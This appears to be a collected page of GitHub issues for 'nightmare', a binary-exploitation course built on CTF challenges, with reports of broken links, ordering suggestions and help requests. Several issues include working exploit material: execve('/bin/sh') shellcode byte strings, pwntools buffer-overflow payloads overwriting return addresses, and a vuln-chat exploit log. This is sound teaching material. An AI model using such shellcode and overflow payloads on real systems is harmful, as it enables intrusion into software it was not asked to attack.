guyinatuxedo / nightmare Goto Github PK

I'm studying part 1.3. Reversing with GHIDRA and found that the link provided is not available on youtube
link: https://www.youtube.com/watch?v=OJlKtRgC68U

waiting for a replacement video reference,
thank you

It would be great if I could help to translate whole project, in my case, to spanish.

Chapter 1.4: Debugging with GDB mentions a "titan"binary but no details on where to find that binary. If you can give me a link I can create a pull request fixing the issue. Thanks.

You said here that you just needed to double click on a variabale to see the stack frame but that doesn't work in ghidra.

There is no source code for ret2csu binary. There is only pseudo code of a function.
Requesting to share complete source code for binary ret2csu.

I don't know if it could be my problem but when I try to execute the exploit for the 0ctfbabypwn challenge (28-fastbin-attack) the program fails to load the libc file and the program goes instantly into segmentation fault. Does anyone have any idea how to solve this problem?

this file is broken!
libc-2.27.so file in modules/08-bof_dynamic/fb19_overfloat is not!

Thank you for setting up such a great learning resource!

I've been following these challenges on the static site (https://guyinatuxedo.github.io) step-by step, and noticed that:

2.10. ("defcon quals 2016 feedme") uses concepts (stack canary, patterns for canaries, brute-forcing) introduced and explained only in subsections of 2.11. ("Defcon Quals 2019 Speedrun1").

I suggest flipping their order.

Hey,
the section 1.6 is obviously in reverse order when you would want to sort them from least difficult to most difficult. I think that would be really import to change since these are the first CTFs in the tutorial.

There's a missing link in the section called 1.4. Debugging with GDB , exactly at the title named : Running

The most common breakpoint to set is on main, which we can set with 'break main' or 'b main'. Most GDB commands can be shortened. Check out this cheat sheet for more:

Hi, I tried running the exploit of this challenge and couldn't make it work.
The challenge is very simple but writeups online don't work too.
any Idea what the problem is?

nightmare/modules/03-beginner_re/helithumper_re/readme.md

"This was a challenge made by Helithumper (github.com/helithumper). Let's take a look at the binary:

$    ./rev

couldn't find it ...

Hi,

First Tnx a lot for writing nightmare, this is great and I started learning reverse with it. That`s very useful and complete.

And secondly, I have a problem with the payload in the pilot exploit code:

payload = ""
-> payload += "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
payload += "0"*(0x28 - len(payload))
payload += p64(inputAdr)

I can`t understand what I highlighted above.
I would be very grateful if you could describe it to me.

Hi,

First of all great repo and thanks for putting your time into it.

I have been working on warmup binary and at the end of it I came to the conclusion that :

Our buffer is stored at 0x7fffffffdef0 and to reach rbp it would need $rbp - 0x7fffffffdef0 i.e 0x40 bytes and to reach RIP it would need rbp+8 bytes i.e 0x48 bytes.

But the exploit isn't working for 0x48 i.e 72 bytes and when I tried to debug the binary it worked with0x40bytes + ret address for easy func.

I don't understand why it worked with total 72 bytes and not 72bytes + ret.

Please help me out here.

https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable/tamu19_pwn1
Here is the video
I am using the latest Linux Mint distro.
Also, I tried with sudo it gave the same result.

Hello everyone!
I noticed that speedrun1 (section 2.10) is given after simplecalc (2.9) in the wiki at github.io. I think this isn't intentional, because in the README the exercise order is different.

I think that it's better to give speedrun1 first, because its writeup gives a really good intro to ROP, while the writeup to simplecalc assumes that you already know what it is. To compare:
Speedrun1:

We have an overflow that we can overwrite the return address with and get code execution. The question now is what to do with it?
We will be making a ROP Chain (Return Oriented Programming) and using the buffer overflow to execute it. A ROP Chain is made up of ROP Gadgets, which are bits of code in the binary itself that end in a ret instruction (which will carry it over to the next gadget). We will essentially...

SimpleCalc:

Now for what to execute when we get the return address. Since the binary is statically linked and there is no PIE, we can just build a rop chain using the binary for gadgets and without an infoleak. The ROP Chain will essentially just make an execve syscall to /bin/sh. There are four registers...

I looked at the repo files, but wasn't sure how to fix this, so I didn't submit a pull request. What do you think?

I figured this would be the best place to put this note, please let me know if I should remove it and place it elsewhere.

Several of the challenges, for example 'csaw16_warmup' and 'csaw18_getit' have, in certain systems (in my case Ubuntu), stack alignment issues which leads to a segfault when 'movaps' is called inside 'do_sysytem'. ROPemporium.com refers to this as the 'MOVAPS issue' and suggests using a dummy 'ret' in ROP cases. In non ROP cases I've found incrementing the target functions address by one, thereby skipping the first instruction, works a charm.

This stumped me for some time, and I'm hoping either the challenge will be updated to acknowledge the issue, or this comment will at least make someone's life a little easier.

Hi I started you awesome course and I started pretty good until I reached the call function part in the buffer overflow section.
The warmup and getit ctfs did not work for me and resulted in segmentation fault no matter what I tried, even with your solution ported to python3 (exploit.py, which is pretty similar to my solution just in python2).
I decided to not give up and spent the whole day today to learn my tools better and understand why its not working on my Ubuntu 20.04 machine (tried a also an Ubuntu 20.04 VM which was similar).
I have noticed that both warmup and getit uses the system() function from libc in the function Im trying to call in those ctfs, after more investigation I found that the process crashes even before the system() call is finished. what I found out is that the libc on my machine (libc.so.6 - glibc version 2.31) uses the instruction movaps with rsp as the dest address - MOVAPS xmmword ptr [RSP + 0x50],XMM0
As it turns out the dest address of movaps must be a divisor of 16 and since upon reaching this instruction on my machine rsp has a value that is devised with 8 but not with 16.

Im not an experts in this field but my guess is that since libc in loaded dynamically the compiler could not know it need to pad rsp in order for the call to system() will work and probably the libc on the machine it compiled on had a different implementation of system so it couldn't guess that.

Iv managed to make get_it work after I patched give_shell to pad rsp correctly (subtracted 8 before the call to system()) , I believe this can be achieve with a bit of shellcoding too but Im not there yet in terms of skill.

Im not sure what is the correct way to address this in this course and also im not 100% sure Im correct in my assumption and explanation (maybe Im missing something).

Ill glad to hear what you think about this.
And thanks for this awesome course again!

Adding a copy of my x64 libc.so.6,
the modified get_it
and the python3 script I wrote -

libc.so.zip

get_it_modified.zip

from pwn import *

context.bits = 64
context.endian = 'little'
context.arch = 'amd64'

payload = b'\x00' * 0x28
payload += p64(0x4005b6)

target = process('./get_it')
target.sendline(payload)

target.interactive()

I recently watched a video explaining about some attacks for bin exp, and came across a heap attack called heap feng shui. The link to the video is here (heap feng shui explanation starts at 33:18 after type confusion explanation):
https://www.youtube.com/watch?v=59HuF1hni8I&list=PLUU79oBORyMhfViAsbK5yGZS9K5HQu4M2&index=15

Unfortunately I'm not able to find many resources on learning this, apart from the blackhat talk "Heap feng shui in javascript" as a browser exploitation technique.
However, liveOverflow has done a video on it, linked here:
https://www.youtube.com/watch?v=zWgS6fTw4Ts

Also googling for "heap feng shui ctf" brings up some better results than just the blackhat talk.

As well as heap feng shui, it would be amazing if you could put on Type Confusions as well 👍🏼

In addition, I also learnt that printf is using malloc under the hood, which can be exploitable via __malloc_hook, which'll be a very interesting read.

This is an amazing resource which I've shared and encourage multiple friends to read up on, so carry on with the great work 😄

Hi!

In CSAW'17 pilot challenge after the ret instruction is executed and we jump to our shellcode located on the stack, the stack pointer is quite close to the beginning of the buffer where we stored our shellcode.

This means that any shellcode that pushes things to the stack is likely to overwrite itself and crash the program. So, for example to run this shellcode we need to prepend it with something like sub rsp, 0x40 to allocate more stack memory.

In my exploit I did something like this to make it work:

context(arch='amd64', os='linux', endian='little', word_size=64)
shellcode = asm('sub rsp, 0x40')
shellcode += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

I think it would be worth mentioning in your write up for other people who want to write their own exploits while learning, but keep crashing the program and can't figure out why.

When we look at the chart_course disassembly in IDA, we see this:

Not critical, but in the description mentioned that only free tools will be used.

• Using all open source tools - All the tools used here are free and open sourced. No IDA torrent needed.

In Python2 using pwntools, something like this was OK. (From chapter 2.4)

payload = ""
payload += "0"*40 # Padding to the return address
payload += p64(0x4005b6) # Address in least endian, will be new saved return address

However, Python3 doesn't accept appending byte arrays to strings and will throw an error. Instead, to accomplish the same thing, you have to pack the whole payload as a byte array instead of just part of it.

Thankfully, you can accomplish basically the same things with the pwntools pack function, which basically puts whatever you want into a byte array.

payload = pack(0, 40*8, 'little', True) # Padding to the return address
payload += p64(0x4005b6) # Address in least endian, will be new saved return address

This probably deserves to be noted somewhere since you pack a lot of different values throughout the rest of the modules. Maybe under the pwntools page (chapter 1.5)? I'll just leave this issue here in the meantime in case anyone has the same problem.

https://discord.gg/p5E3VZF

can you provide a new link?

In the Dynamics Buffer Overflow chapter, I am trying to use the libc given to us to run the program.
But I have an up-to-date system and my ld.so is not compatible with libc. So I'm trying to get ld.so from glibc source (http://ftp.gnu.org/gnu/glibc/) and compile it, but my compiler tools version doesn't match, I I may have to compile it in an older emulated system. I was wondering if there is a better way to get the ld.so binary or if there is another way to run the program with the provided libc?

$ python ./exploit.py
[+] Starting local process './vuln-chat': pid 1791438
  print(target.recvuntil("username: "))
  b'----------- Welcome to vuln-chat -------------\nEnter your username: '
    print(target.recvuntil("I know I can trust you?"))
    b"Welcome 00000000000000000000%99s!\nConnecting to 'djinn'\n--- 'djinn' has joined your chat ---\ndjinn: I have the information. But how do I know I can trust you?"
    [*] Switching to interactive mode

    00000000000000000000%99s: djinn: Sorry. That's not good enough
    flag{g0ttem_b0yz}
    Use it wisely
    [*] Got EOF while reading in interactive
    $ ps
    [*] Process './vuln-chat' stopped with exit code -11 (SIGSEGV) (pid 1791438)
    [*] Got EOF while sending in interactive
    Traceback (most recent call last):
      File "/usr/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
          fd.close()
          BrokenPipeError: [Errno 32] Broken pipe 

x86_64
python 3.10.2 --- I used 2to3 and/or bytes() to re/write the exploits for python3
pwntools 4.7.0

also nothing is mentioned in the tutorial as to what actually spawns this shell since printFlag() is certainly not doing it. please let us know